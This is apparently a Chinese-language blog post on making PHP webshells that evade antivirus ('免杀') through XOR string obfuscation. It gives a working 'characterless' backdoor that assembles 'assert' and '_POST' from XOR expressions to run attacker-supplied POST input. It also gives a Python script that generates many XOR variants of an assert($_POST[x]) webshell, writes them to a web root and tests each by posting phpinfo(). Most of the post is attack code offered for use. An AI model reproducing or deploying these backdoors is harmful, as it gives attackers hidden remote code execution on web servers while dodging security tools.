python开发(3)-PHP异或免杀

关于eval函数在php给出的官方说明是

eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用
可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行
通俗的说比如你 <?php $a=eval;$a() ?> 这样是不行的 也造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行

利用异或运算免杀(无字符后门)

<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');  //$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); //$__='_POST';
$___=$$__;$_($___[_]); //assert($_POST[_]);
?>

利用代码生成可行的异或运算出来的免杀后门

import requests
import time

def string():
    for i in range(1,127):
        for ii in range(1,127):
            payload="'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"
            code="<?php $a=("+payload+").'ssert';$a($_POST[x]);?>"
            filename=str(i)+'xd'+str(ii)+'.php'
            with open('D:/phpstudy/PHPTutorial/WWW/x/'+filename,'a') as f:
                f.write(code)
                print('Fuzz->'+filename+'文件写入成功')
                f.close()
            url = 'http://127.0.0.1:8081/x/' + filename
            datas = {
                'x': 'phpinfo();'
            }
            result = requests.post(url, data=datas).content.decode('utf-8')
            if 'XIAODI-PC' in result:
                print('check->'+filename+'->ok')
            else:
                print('check->'+filename+'->no')
            time.sleep(1)


def shell_test_check():
    url='http://127.0.0.1:8081/x/33xd64.php'
    datas={
        'x':'phpinfo();'
    }
    result=requests.post(url,data=datas).content.decode('utf-8')
    print(result)
    if 'XIAODI-PC' in result:
        print('ok')

if __name__ == '__main__':
    string()

php 免杀参考:https://www.cnblogs.com/liujizhou/p/11806497.html 

fuzz字典合集:https://github.com/stemmm/fuzzDicts

原文地址:https://www.cnblogs.com/trevain/p/14192658.html